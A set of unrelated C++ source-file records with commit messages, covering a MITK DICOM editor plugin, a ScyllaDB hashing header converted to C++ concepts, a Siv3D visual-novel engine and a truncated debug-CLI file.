information.\n\n=========================================================================*\/\n\n\n\/\/ Blueberry\n#include <berryISelectionService.h>\n#include <berryIWorkbenchWindow.h>\n#include <berryUIException.h>\n#include <berryIWorkbenchPage.h>\n#include <berryIPreferencesService.h>\n#include <berryIPartListener.h>\n#include <mitkGlobalInteraction.h>\n#include <mitkDataStorageEditorInput.h>\n#include \"berryFileEditorInput.h\"\n\n\/\/ Qmitk\n#include \"QmitkDicomEditor.h\"\n#include \"mitkPluginActivator.h\"\n#include <mitkDicomSeriesReader.h>\n\n\/\/#include \"mitkProgressBar.h\"\n\n\/\/ Qt\n#include <QCheckBox>\n#include <QMessageBox>\n#include <QWidget>\n\n#include <QtSql>\n#include <QSqlDatabase>\n#include <QtCore\/QVariant>\n#include <QtGui\/QAction>\n#include <QtGui\/QApplication>\n#include <QtGui\/QButtonGroup>\n#include <QtGui\/QGridLayout>\n#include <QtGui\/QHeaderView>\n#include <QtGui\/QPushButton>\n#include <QtGui\/QTextEdit>\n#include <QtGui\/QWidget>\n\n\/\/CTK\n#include <ctkDICOMModel.h>\n#include <ctkDICOMAppWidget.h>\n#include <ctkDICOMQueryWidget.h>\n#include <ctkFileDialog.h>\n#include <ctkDICOMQueryRetrieveWidget.h>\n\n\nconst std::string QmitkDicomEditor::EDITOR_ID = \"org.mitk.editors.dicomeditor\";\n\n\nQmitkDicomEditor::QmitkDicomEditor()\n: m_Thread(new QThread())\n, m_DicomDirectoryListener(new QmitkDicomDirectoryListener())\n, m_ListenerDirectory(new QString())\n, m_DatabaseDirectory(new QString())\n, m_PluginDirectory(new QString())\n, m_Publisher(new QmitkDicomDataEventPublisher())\n, m_StoreSCPLauncher(new QmitkStoreSCPLauncher(&builder))\n{\n}\n\nQmitkDicomEditor::~QmitkDicomEditor()\n{\n m_Thread->terminate();\n delete m_Handler;\n delete m_Publisher;\n delete m_StoreSCPLauncher;\n delete m_Thread;\n delete m_DicomDirectoryListener;\n delete m_ListenerDirectory;\n delete m_DatabaseDirectory;\n delete m_PluginDirectory;\n}\n\nvoid QmitkDicomEditor::CreateQtPartControl(QWidget *parent )\n{ \n m_Controls.setupUi( parent );\n TestHandler();\n\n SetPluginDirectory();\n SetDatabaseDirectory(\"DatabaseDirectory\");\n SetListenerDirectory(\"ListenerDirectory\");\n StartDicomDirectoryListener();\n\n m_Controls.m_ctkDICOMQueryRetrieveWidget->useProgressDialog(false);\n\n connect(m_Controls.externalDataWidget,SIGNAL(SignalAddDicomData(const QString&)),m_Controls.internalDataWidget,SLOT(StartDicomImport(const QString&)));\n connect(m_Controls.externalDataWidget,SIGNAL(SignalAddDicomData(const QStringList&)),m_Controls.internalDataWidget,SLOT(StartDicomImport(const QStringList&)));\n connect(m_Controls.externalDataWidget,SIGNAL(SignalDicomToDataManager(const QStringList&)),this,SLOT(OnViewButtonAddToDataManager(const QStringList&)));\n connect(m_Controls.externalDataWidget,SIGNAL(SignalChangePage(int)), this, SLOT(OnChangePage(int)));\n\n connect(m_Controls.internalDataWidget,SIGNAL(FinishedImport(const QString&)),this,SLOT(OnDicomImportFinished(const QString&)));\n connect(m_Controls.internalDataWidget,SIGNAL(FinishedImport(const QStringList&)),this,SLOT(OnDicomImportFinished(const QStringList&)));\n connect(m_Controls.internalDataWidget,SIGNAL(SignalDicomToDataManager(const QStringList&)),this,SLOT(OnViewButtonAddToDataManager(const QStringList&)));\n\n connect(m_Controls.CDButton, SIGNAL(clicked()), m_Controls.externalDataWidget, SLOT(OnFolderCDImport()));\n connect(m_Controls.FolderButton, SIGNAL(clicked()), m_Controls.externalDataWidget, SLOT(OnFolderCDImport()));\n connect(m_Controls.QueryRetrieveButton, SIGNAL(clicked()), this, SLOT(OnQueryRetrieve()));\n connect(m_Controls.LocalStorageButton, SIGNAL(clicked()), this, SLOT(OnLocalStorage()));\n\n \/\/connect(m_Controls.radioButton,SIGNAL(clicked()),this,SLOT(StartStopStoreSCP()));\n}\n\nvoid QmitkDicomEditor::Init(berry::IEditorSite::Pointer site, berry::IEditorInput::Pointer input)\n{\n this->SetSite(site);\n this->SetInput(input);\n}\n\nvoid QmitkDicomEditor::SetFocus()\n{\n}\n\nberry::IPartListener::Events::Types QmitkDicomEditor::GetPartEventTypes() const\n{\n return Events::CLOSED | Events::HIDDEN | Events::VISIBLE;\n}\n\nvoid QmitkDicomEditor::OnQueryRetrieve()\n{\n OnChangePage(2);\n StartStopStoreSCP();\n}\n\nvoid QmitkDicomEditor::OnLocalStorage()\n{\n OnChangePage(0);\n}\n\nvoid QmitkDicomEditor::OnChangePage(int page)\n{\n try{\n m_Controls.stackedWidget->setCurrentIndex(page);\n }catch(std::exception e){\n MITK_ERROR <<\"error: \"<< e.what();\n return;\n }\n}\n\nvoid QmitkDicomEditor::OnDicomImportFinished(const QString& path)\n{\n}\n\nvoid QmitkDicomEditor::OnDicomImportFinished(const QStringList& path)\n{\n}\n\nvoid QmitkDicomEditor::StartDicomDirectoryListener()\n{ \n if(!m_Thread->isRunning())\n {\n m_DicomDirectoryListener->SetDicomListenerDirectory(*m_ListenerDirectory);\n connect(m_DicomDirectoryListener,SIGNAL(SignalAddDicomData(const QStringList&)),m_Controls.internalDataWidget,SLOT(StartDicomImport(const QStringList&)),Qt::DirectConnection);\n connect(m_Controls.internalDataWidget,SIGNAL(FinishedImport(const QStringList&)),m_DicomDirectoryListener,SLOT(OnDicomImportFinished(const QStringList&)),Qt::DirectConnection);\n m_DicomDirectoryListener->moveToThread(m_Thread);\n m_Thread->start();\n }\n}\n\n\/\/TODO Remove\nvoid QmitkDicomEditor::TestHandler()\n{\n m_Handler = new DicomEventHandler();\n m_Handler->SubscribeSlots();\n}\n\nvoid QmitkDicomEditor::OnViewButtonAddToDataManager(const QStringList& eventProperties)\n{\n ctkDictionary properties;\n properties[\"PatientName\"] = eventProperties.at(0);\n properties[\"StudyUID\"] = eventProperties.at(1);\n properties[\"StudyName\"] = eventProperties.at(2);\n properties[\"SeriesUID\"] = eventProperties.at(3);\n properties[\"SeriesName\"] = eventProperties.at(4);\n properties[\"Path\"] = eventProperties.at(5);\n\n m_Publisher->PublishSignals(mitk::PluginActivator::getContext());\n m_Publisher->AddSeriesToDataManagerEvent(properties);\n}\n\n\nvoid QmitkDicomEditor::StartStoreSCP()\n{\n QString storagePort = m_Controls.m_ctkDICOMQueryRetrieveWidget->getServerParameters()[\"StoragePort\"].toString();\n QString storageAET = m_Controls.m_ctkDICOMQueryRetrieveWidget->getServerParameters()[\"StorageAETitle\"].toString();\n builder.AddPort(storagePort)->AddAETitle(storageAET)->AddTransferSyntax()->AddOtherNetworkOptions()->AddMode()->AddOutputDirectory(*m_ListenerDirectory);\n m_StoreSCPLauncher = new QmitkStoreSCPLauncher(&builder);\n m_StoreSCPLauncher->StartStoreSCP();\n m_Controls.radioButton->setChecked(true);\n m_Controls.radioButton->setText(storageAET+QString(\" \")+storagePort);\n\n}\n\n\nvoid QmitkDicomEditor::StopStoreSCP()\n{\n delete m_StoreSCPLauncher;\n m_Controls.radioButton->setChecked(false);\n m_Controls.radioButton->setText(QString(\"Storage service provider is not running!\"));\n}\n\nvoid QmitkDicomEditor::StartStopStoreSCP()\n{\n QString storagePort = m_Controls.m_ctkDICOMQueryRetrieveWidget->getServerParameters()[\"StoragePort\"].toString();\n QString storageAET = m_Controls.m_ctkDICOMQueryRetrieveWidget->getServerParameters()[\"StorageAETitle\"].toString();\n\n if(!((builder.GetAETitle()->compare(storageAET,Qt::CaseSensitive)==0)&&\n (builder.GetPort()->compare(storagePort,Qt::CaseSensitive)==0)))\n {\n if(m_Controls.radioButton->isChecked())\n {\n StopStoreSCP();\n StartStoreSCP();\n }else{\n StartStoreSCP();\n }\n } \n}\n\nvoid QmitkDicomEditor::SetPluginDirectory()\n{\n mitk::PluginActivator::getContext()->getDataFile(*m_PluginDirectory);\n m_PluginDirectory->append(\"\/\");\n}\n\nvoid QmitkDicomEditor::SetDatabaseDirectory(const QString& databaseDirectory)\n{\n m_DatabaseDirectory->clear();\n m_DatabaseDirectory->append(m_PluginDirectory);\n m_DatabaseDirectory->append(databaseDirectory);\n m_Controls.internalDataWidget->SetDatabaseDirectory(*m_DatabaseDirectory);\n}\n\nvoid QmitkDicomEditor::SetListenerDirectory(const QString& listenerDirectory)\n{\n m_ListenerDirectory->clear();\n m_ListenerDirectory->append(m_PluginDirectory);\n m_ListenerDirectory->append(listenerDirectory);\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <chrono>\n#include <map>\n#include <optional>\n#include <concepts>\n#include <seastar\/core\/byteorder.hh>\n#include <seastar\/core\/sstring.hh>\n#include \"seastarx.hh\"\n\n\/\/\n\/\/ This hashing differs from std::hash<> in that it decouples knowledge about\n\/\/ type structure from the way the hash value is calculated:\n\/\/ * appending_hash<T> instantiation knows about what data should be included in the hash for type T.\n\/\/ * Hasher object knows how to combine the data into the final hash.\n\/\/\n\/\/ The appending_hash<T> should always feed some data into the hasher, regardless of the state the object is in,\n\/\/ in order for the hash to be highly sensitive for value changes. For example, vector<optional<T>> should\n\/\/ ideally feed different values for empty vector and a vector with a single empty optional.\n\/\/\n\/\/ appending_hash<T> is machine-independent.\n\/\/\n\ntemplate<typename H>\nconcept Hasher =\n requires(H& h, const char* ptr, size_t size) {\n { h.update(ptr, size) } noexcept -> std::same_as<void>;\n };\n\nclass hasher {\npublic:\n virtual ~hasher() = default;\n virtual void update(const char* ptr, size_t size) noexcept = 0;\n};\n\nstatic_assert(Hasher<hasher>);\n\ntemplate<typename T, typename Enable = void>\nstruct appending_hash;\n\ntemplate<typename H, typename T, typename... Args>\nrequires Hasher<H>\ninline\nvoid feed_hash(H& h, const T& value, Args&&... args) noexcept {\n appending_hash<T>()(h, value, std::forward<Args>(args)...);\n};\n\ntemplate<typename T>\nstruct appending_hash<T, std::enable_if_t<std::is_arithmetic<T>::value>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, T value) const noexcept {\n auto value_le = cpu_to_le(value);\n h.update(reinterpret_cast<const char*>(&value_le), sizeof(T));\n }\n};\n\ntemplate<>\nstruct appending_hash<bool> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, bool value) const noexcept {\n feed_hash(h, static_cast<uint8_t>(value));\n }\n};\n\ntemplate<typename T>\nstruct appending_hash<T, std::enable_if_t<std::is_enum<T>::value>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const T& value) const noexcept {\n feed_hash(h, static_cast<std::underlying_type_t<T>>(value));\n }\n};\n\ntemplate<typename T>\nstruct appending_hash<std::optional<T>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const std::optional<T>& value) const noexcept {\n if (value) {\n feed_hash(h, true);\n feed_hash(h, *value);\n } else {\n feed_hash(h, false);\n }\n }\n};\n\ntemplate<size_t N>\nstruct appending_hash<char[N]> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const char (&value) [N]) const noexcept {\n feed_hash(h, N);\n h.update(value, N);\n }\n};\n\ntemplate<typename T>\nstruct appending_hash<std::vector<T>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const std::vector<T>& value) const noexcept {\n feed_hash(h, value.size());\n for (auto&& v : value) {\n appending_hash<T>()(h, v);\n }\n }\n};\n\ntemplate<typename K, typename V>\nstruct appending_hash<std::map<K, V>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const std::map<K, V>& value) const noexcept {\n feed_hash(h, value.size());\n for (auto&& e : value) {\n appending_hash<K>()(h, e.first);\n appending_hash<V>()(h, e.second);\n }\n }\n};\n\ntemplate<>\nstruct appending_hash<sstring> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const sstring& v) const noexcept {\n feed_hash(h, v.size());\n h.update(reinterpret_cast<const char*>(v.cbegin()), v.size() * sizeof(sstring::value_type));\n }\n};\n\ntemplate<>\nstruct appending_hash<std::string> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const std::string& v) const noexcept {\n feed_hash(h, v.size());\n h.update(reinterpret_cast<const char*>(v.data()), v.size() * sizeof(std::string::value_type));\n }\n};\n\ntemplate<typename T, typename R>\nstruct appending_hash<std::chrono::duration<T, R>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, std::chrono::duration<T, R> v) const noexcept {\n feed_hash(h, v.count());\n }\n};\n\ntemplate<typename Clock, typename Duration>\nstruct appending_hash<std::chrono::time_point<Clock, Duration>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, std::chrono::time_point<Clock, Duration> v) const noexcept {\n feed_hash(h, v.time_since_epoch().count());\n }\n};\n<commit_msg>hashing: appending_hash: convert from enable_if to concepts<commit_after>\/*\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <chrono>\n#include <map>\n#include <optional>\n#include <concepts>\n#include <seastar\/core\/byteorder.hh>\n#include <seastar\/core\/sstring.hh>\n#include \"seastarx.hh\"\n\n\/\/\n\/\/ This hashing differs from std::hash<> in that it decouples knowledge about\n\/\/ type structure from the way the hash value is calculated:\n\/\/ * appending_hash<T> instantiation knows about what data should be included in the hash for type T.\n\/\/ * Hasher object knows how to combine the data into the final hash.\n\/\/\n\/\/ The appending_hash<T> should always feed some data into the hasher, regardless of the state the object is in,\n\/\/ in order for the hash to be highly sensitive for value changes. For example, vector<optional<T>> should\n\/\/ ideally feed different values for empty vector and a vector with a single empty optional.\n\/\/\n\/\/ appending_hash<T> is machine-independent.\n\/\/\n\ntemplate<typename H>\nconcept Hasher =\n requires(H& h, const char* ptr, size_t size) {\n { h.update(ptr, size) } noexcept -> std::same_as<void>;\n };\n\nclass hasher {\npublic:\n virtual ~hasher() = default;\n virtual void update(const char* ptr, size_t size) noexcept = 0;\n};\n\nstatic_assert(Hasher<hasher>);\n\ntemplate<typename T>\nstruct appending_hash;\n\ntemplate<typename H, typename T, typename... Args>\nrequires Hasher<H>\ninline\nvoid feed_hash(H& h, const T& value, Args&&... args) noexcept {\n appending_hash<T>()(h, value, std::forward<Args>(args)...);\n};\n\ntemplate<typename T>\nrequires std::is_arithmetic_v<T>\nstruct appending_hash<T> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, T value) const noexcept {\n auto value_le = cpu_to_le(value);\n h.update(reinterpret_cast<const char*>(&value_le), sizeof(T));\n }\n};\n\ntemplate<>\nstruct appending_hash<bool> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, bool value) const noexcept {\n feed_hash(h, static_cast<uint8_t>(value));\n }\n};\n\ntemplate<typename T>\nrequires std::is_enum_v<T>\nstruct appending_hash<T> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const T& value) const noexcept {\n feed_hash(h, static_cast<std::underlying_type_t<T>>(value));\n }\n};\n\ntemplate<typename T>\nstruct appending_hash<std::optional<T>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const std::optional<T>& value) const noexcept {\n if (value) {\n feed_hash(h, true);\n feed_hash(h, *value);\n } else {\n feed_hash(h, false);\n }\n }\n};\n\ntemplate<size_t N>\nstruct appending_hash<char[N]> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const char (&value) [N]) const noexcept {\n feed_hash(h, N);\n h.update(value, N);\n }\n};\n\ntemplate<typename T>\nstruct appending_hash<std::vector<T>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const std::vector<T>& value) const noexcept {\n feed_hash(h, value.size());\n for (auto&& v : value) {\n appending_hash<T>()(h, v);\n }\n }\n};\n\ntemplate<typename K, typename V>\nstruct appending_hash<std::map<K, V>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const std::map<K, V>& value) const noexcept {\n feed_hash(h, value.size());\n for (auto&& e : value) {\n appending_hash<K>()(h, e.first);\n appending_hash<V>()(h, e.second);\n }\n }\n};\n\ntemplate<>\nstruct appending_hash<sstring> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const sstring& v) const noexcept {\n feed_hash(h, v.size());\n h.update(reinterpret_cast<const char*>(v.cbegin()), v.size() * sizeof(sstring::value_type));\n }\n};\n\ntemplate<>\nstruct appending_hash<std::string> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, const std::string& v) const noexcept {\n feed_hash(h, v.size());\n h.update(reinterpret_cast<const char*>(v.data()), v.size() * sizeof(std::string::value_type));\n }\n};\n\ntemplate<typename T, typename R>\nstruct appending_hash<std::chrono::duration<T, R>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, std::chrono::duration<T, R> v) const noexcept {\n feed_hash(h, v.count());\n }\n};\n\ntemplate<typename Clock, typename Duration>\nstruct appending_hash<std::chrono::time_point<Clock, Duration>> {\n template<typename H>\n requires Hasher<H>\n void operator()(H& h, std::chrono::time_point<Clock, Duration> v) const noexcept {\n feed_hash(h, v.time_since_epoch().count());\n }\n};\n<|endoftext|>"} {"text":"<commit_before># pragma once\n# include <Siv3D.hpp>\n# include \"AscChoiceManager.hpp\"\n# include \"AscMessageManager.hpp\"\n# include \"AscSoundManager.hpp\"\n# include \"AscSpriteManager.hpp\"\n\nnamespace asc\n{\n\tusing namespace s3d;\n\n\tusing Commnad = std::pair<int32, String>;\n\n\tclass Novel\n\t{\n\tprivate:\n\n\t\tbool m_isUpdating;\n\n\t\tint32 m_currentLine;\n\n\t\tint32 m_lastSeekPoint;\n\n\t\tArray<Commnad> m_commands;\n\n\t\tChoiceManager m_choiceManager;\n\n\t\tSoundManager m_soundManager;\n\n\t\tMessageManager m_messageManager;\n\n\t\tSpriteManager m_spriteManager;\n\n\t\tvoid clearManager()\n\t\t{\n\t\t\tm_messageManager.clear();\n\t\t\tm_spriteManager.clear();\n\t\t\tm_choiceManager.clear();\n\t\t}\n\n\t\tvoid execute()\n\t\t{\n\t\t\tswitch (m_commands[m_currentLine].first)\n\t\t\t{\n\t\t\t\/\/ Point\n\t\t\tcase 0:\n\t\t\t\tm_isUpdating = false;\n\t\t\t\tm_lastSeekPoint = Parse<int32>(m_commands[m_currentLine].second);\n\t\t\t\treturn;\n\n\t\t\t\/\/ Text\n\t\t\tcase 1:\n\t\t\t\tm_messageManager.setText(m_commands[m_currentLine].second);\n\t\t\t\tm_messageManager.start();\n\t\t\t\tbreak;\n\n\t\t\t\/\/ Name\n\t\t\tcase 2:\n\t\t\t\tm_messageManager.setName(m_commands[m_currentLine].second);\n\t\t\t\tbreak;\n\n\t\t\t\/\/ AddSprite\n\t\t\tcase 3:\n\t\t\t\tm_spriteManager.add<Sprite>(m_commands[m_currentLine].second);\n\t\t\t\tbreak;\n\n\t\t\t\/\/ AddFixedSprite\n\t\t\tcase 4:\n\t\t\t\tm_spriteManager.add<FixedSprite>(m_commands[m_currentLine].second);\n\t\t\t\tbreak;\n\n\t\t\t\/\/ Choice\n\t\t\tcase 5:\n\t\t\t\tm_choiceManager.start(m_commands[m_currentLine].second);\n\t\t\t\tbreak;\n\n\t\t\t\/\/ Jump\n\t\t\tcase 6:\n\t\t\t\tstart(Parse<int32>(m_commands[m_currentLine].second));\n\t\t\t\treturn;\n\n\t\t\t\/\/ AutomaticText\n\t\t\tcase 7:\n\t\t\t\tm_messageManager.setText(m_commands[m_currentLine].second);\n\t\t\t\tm_messageManager.start(true);\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tm_currentLine++;\n\t\t}\n\n\tpublic:\n\n\t\tNovel() :\n\t\t\tm_isUpdating(false),\n\t\t\tm_currentLine(0),\n\t\t\tm_lastSeekPoint(-1),\n\t\t\tm_messageManager(std::bind(&SoundManager::playCharSound, m_soundManager))\n\t\t{\n\t\t\tm_commands.push_back({ 0, L\"1\"});\n\t\t\tm_commands.push_back({ 3, L\"1,character1,0,0,640,720\" });\n\t\t\tm_commands.push_back({ 3, L\"3,character3,480,180,320,360\" });\n\t\t\tm_commands.push_back({ 1, L\"Characters\" });\n\t\t\tm_commands.push_back({ 0, L\"2\" });\n\t\t\tm_commands.push_back({ 1, L\"Only Text\" });\n\t\t\tm_commands.push_back({ 0, L\"3\" });\n\t\t\tm_commands.push_back({ 7, L\"Show Character?\" });\n\t\t\tm_commands.push_back({ 5, L\"1,Yes,2,No\" });\n\t\t\tm_commands.push_back({ 0, L\"4\" });\n\t\t\tm_commands.push_back({ 1, L\"Jump 2\" });\n\t\t\tm_commands.push_back({ 6, L\"2\" });\n\t\t\tm_commands.push_back({ 0, L\"-1\" });\n\t\t}\n\n\t\tvirtual ~Novel() = default;\n\n\t\tbool start(int32 seekPoint)\n\t\t{\n\t\t\tconst auto size = m_commands.size() - 1;\n\t\t\tfor (auto i = 0u; i < size; i++)\n\t\t\t{\n\t\t\t\tconst auto index = (m_currentLine + i) % m_commands.size();\n\n\t\t\t\tconst auto command = m_commands[index];\n\t\t\t\tif (\n\t\t\t\t\tcommand.first == 0 &&\n\t\t\t\t\tParse<int32>(command.second) == seekPoint\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tclearManager();\n\t\t\t\t\tm_currentLine = index + 1;\n\t\t\t\t\tm_isUpdating = true;\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn false;\n\t\t}\n\n\t\tvoid update()\n\t\t{\n\t\t\twhile (\n\t\t\t\tm_isUpdating &&\n\t\t\t\t!m_messageManager.isUpdating() &&\n\t\t\t\t!m_choiceManager.isUpdating()\n\t\t\t)\n\t\t\t{\n\t\t\t\tm_choiceManager.lastSelectedSeekPoint().then([&](int32 seekPoint){ start(seekPoint); });\n\t\t\t\texecute();\n\t\t\t}\n\n\t\t\tm_messageManager.update();\n\t\t\tm_choiceManager.update();\n\t\t}\n\n\t\tbool isUpdating() const\n\t\t{\n\t\t\treturn m_isUpdating;\n\t\t}\n\n\t\tint32 seekPoint() const\n\t\t{\n\t\t\treturn m_lastSeekPoint;\n\t\t}\n\n\t\tvoid draw() const\n\t\t{\n\t\t\tm_spriteManager.draw();\n\t\t\tm_messageManager.draw();\n\t\t\tm_choiceManager.draw();\n\t\t}\n\t};\n}<commit_msg>SeekPoint is last started point.<commit_after># pragma once\n# include <Siv3D.hpp>\n# include \"AscChoiceManager.hpp\"\n# include \"AscMessageManager.hpp\"\n# include \"AscSoundManager.hpp\"\n# include \"AscSpriteManager.hpp\"\n\nnamespace asc\n{\n\tusing namespace s3d;\n\n\tusing Commnad = std::pair<int32, String>;\n\n\tclass Novel\n\t{\n\tprivate:\n\n\t\tbool m_isUpdating;\n\n\t\tint32 m_currentLine;\n\n\t\tint32 m_lastSeekPoint;\n\n\t\tArray<Commnad> m_commands;\n\n\t\tChoiceManager m_choiceManager;\n\n\t\tSoundManager m_soundManager;\n\n\t\tMessageManager m_messageManager;\n\n\t\tSpriteManager m_spriteManager;\n\n\t\tvoid clearManager()\n\t\t{\n\t\t\tm_messageManager.clear();\n\t\t\tm_spriteManager.clear();\n\t\t\tm_choiceManager.clear();\n\t\t}\n\n\t\tvoid execute()\n\t\t{\n\t\t\tswitch (m_commands[m_currentLine].first)\n\t\t\t{\n\t\t\t\/\/ Point\n\t\t\tcase 0:\n\t\t\t\tm_isUpdating = false;\n\t\t\t\treturn;\n\n\t\t\t\/\/ Text\n\t\t\tcase 1:\n\t\t\t\tm_messageManager.setText(m_commands[m_currentLine].second);\n\t\t\t\tm_messageManager.start();\n\t\t\t\tbreak;\n\n\t\t\t\/\/ Name\n\t\t\tcase 2:\n\t\t\t\tm_messageManager.setName(m_commands[m_currentLine].second);\n\t\t\t\tbreak;\n\n\t\t\t\/\/ AddSprite\n\t\t\tcase 3:\n\t\t\t\tm_spriteManager.add<Sprite>(m_commands[m_currentLine].second);\n\t\t\t\tbreak;\n\n\t\t\t\/\/ AddFixedSprite\n\t\t\tcase 4:\n\t\t\t\tm_spriteManager.add<FixedSprite>(m_commands[m_currentLine].second);\n\t\t\t\tbreak;\n\n\t\t\t\/\/ Choice\n\t\t\tcase 5:\n\t\t\t\tm_choiceManager.start(m_commands[m_currentLine].second);\n\t\t\t\tbreak;\n\n\t\t\t\/\/ Jump\n\t\t\tcase 6:\n\t\t\t\tstart(Parse<int32>(m_commands[m_currentLine].second));\n\t\t\t\treturn;\n\n\t\t\t\/\/ AutomaticText\n\t\t\tcase 7:\n\t\t\t\tm_messageManager.setText(m_commands[m_currentLine].second);\n\t\t\t\tm_messageManager.start(true);\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tm_currentLine++;\n\t\t}\n\n\tpublic:\n\n\t\tNovel() :\n\t\t\tm_isUpdating(false),\n\t\t\tm_currentLine(0),\n\t\t\tm_lastSeekPoint(-1),\n\t\t\tm_messageManager(std::bind(&SoundManager::playCharSound, m_soundManager))\n\t\t{\n\t\t\tm_commands.push_back({ 0, L\"1\"});\n\t\t\tm_commands.push_back({ 3, L\"1,character1,0,0,640,720\" });\n\t\t\tm_commands.push_back({ 3, L\"3,character3,480,180,320,360\" });\n\t\t\tm_commands.push_back({ 1, L\"Characters\" });\n\t\t\tm_commands.push_back({ 0, L\"2\" });\n\t\t\tm_commands.push_back({ 1, L\"Only Text\" });\n\t\t\tm_commands.push_back({ 0, L\"3\" });\n\t\t\tm_commands.push_back({ 7, L\"Show Character?\" });\n\t\t\tm_commands.push_back({ 5, L\"1,Yes,2,No\" });\n\t\t\tm_commands.push_back({ 0, L\"4\" });\n\t\t\tm_commands.push_back({ 1, L\"Jump 2\" });\n\t\t\tm_commands.push_back({ 6, L\"2\" });\n\t\t\tm_commands.push_back({ 0, L\"-1\" });\n\t\t}\n\n\t\tvirtual ~Novel() = default;\n\n\t\tbool start(int32 seekPoint)\n\t\t{\n\t\t\tconst auto size = m_commands.size() - 1;\n\t\t\tfor (auto i = 0u; i < size; i++)\n\t\t\t{\n\t\t\t\tconst auto index = (m_currentLine + i) % m_commands.size();\n\n\t\t\t\tconst auto command = m_commands[index];\n\t\t\t\tif (\n\t\t\t\t\tcommand.first == 0 &&\n\t\t\t\t\tParse<int32>(command.second) == seekPoint\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tclearManager();\n\t\t\t\t\tm_currentLine = index + 1;\n\t\t\t\t\tm_lastSeekPoint = seekPoint;\n\t\t\t\t\tm_isUpdating = true;\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn false;\n\t\t}\n\n\t\tvoid update()\n\t\t{\n\t\t\twhile (\n\t\t\t\tm_isUpdating &&\n\t\t\t\t!m_messageManager.isUpdating() &&\n\t\t\t\t!m_choiceManager.isUpdating()\n\t\t\t)\n\t\t\t{\n\t\t\t\tm_choiceManager.lastSelectedSeekPoint().then([&](int32 seekPoint){ start(seekPoint); });\n\t\t\t\texecute();\n\t\t\t}\n\n\t\t\tm_messageManager.update();\n\t\t\tm_choiceManager.update();\n\t\t}\n\n\t\tbool isUpdating() const\n\t\t{\n\t\t\treturn m_isUpdating;\n\t\t}\n\n\t\tint32 seekPoint() const\n\t\t{\n\t\t\treturn m_lastSeekPoint;\n\t\t}\n\n\t\tvoid draw() const\n\t\t{\n\t\t\tm_spriteManager.draw();\n\t\t\tm_messageManager.draw();\n\t\t\tm_choiceManager.draw();\n\t\t}\n\t};\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * DbgCliTopic.cpp\n *\n * Created on: 11.02.2015\n * Author: niklausd\n *\/\n\n#include \"DbgCliTopic.h\"\n#include <string.h>\n#include <stdlib.h>\n\n#ifdef ARDUINO\n#include \"Arduino.h\"\n#else\n#include <stdio.h>\n#endif\n\nDbgCli_Topic::DbgCli_Topic(DbgCli_Node* parentNode, const char* nodeName, const char* helpText)\n: DbgCli_Node(parentNode, nodeName, helpText)\n, m_firstChild(0)\n{ }\n\nDbgCli_Topic::~DbgCli_Topic()\n{ \n DbgCli_Node* next = m_firstChild;\n while (0 != next)\n {\n DbgCli_Node* toBeDeleted = next;\n delete next;\n\n next = next->getNextSibling();\n }\n}\n\nvoid DbgCli_Topic::addChildNode(DbgCli_Node* node)\n{\n if (0 == m_firstChild)\n {\n m_firstChild = node;\n }\n else\n {\n DbgCli_Node* next = m_firstChild;\n\n while (0 != next->getNextSibling())\n {\n next = next->getNextSibling();\n }\n next->setNextSibling(node);\n }\n}\n\nvoid DbgCli_Topic::removeChildNode(DbgCli_Node* node)\n{\n if (m_firstChild == node)\n {\n m_firstChild = node->getNextSibling();\n }\n else\n {\n DbgCli_Node* next = m_firstChild;\n while ((next != 0) && (next->getNextSibling() != node))\n {\n next = next->getNextSibling();\n }\n if (next != 0)\n {\n 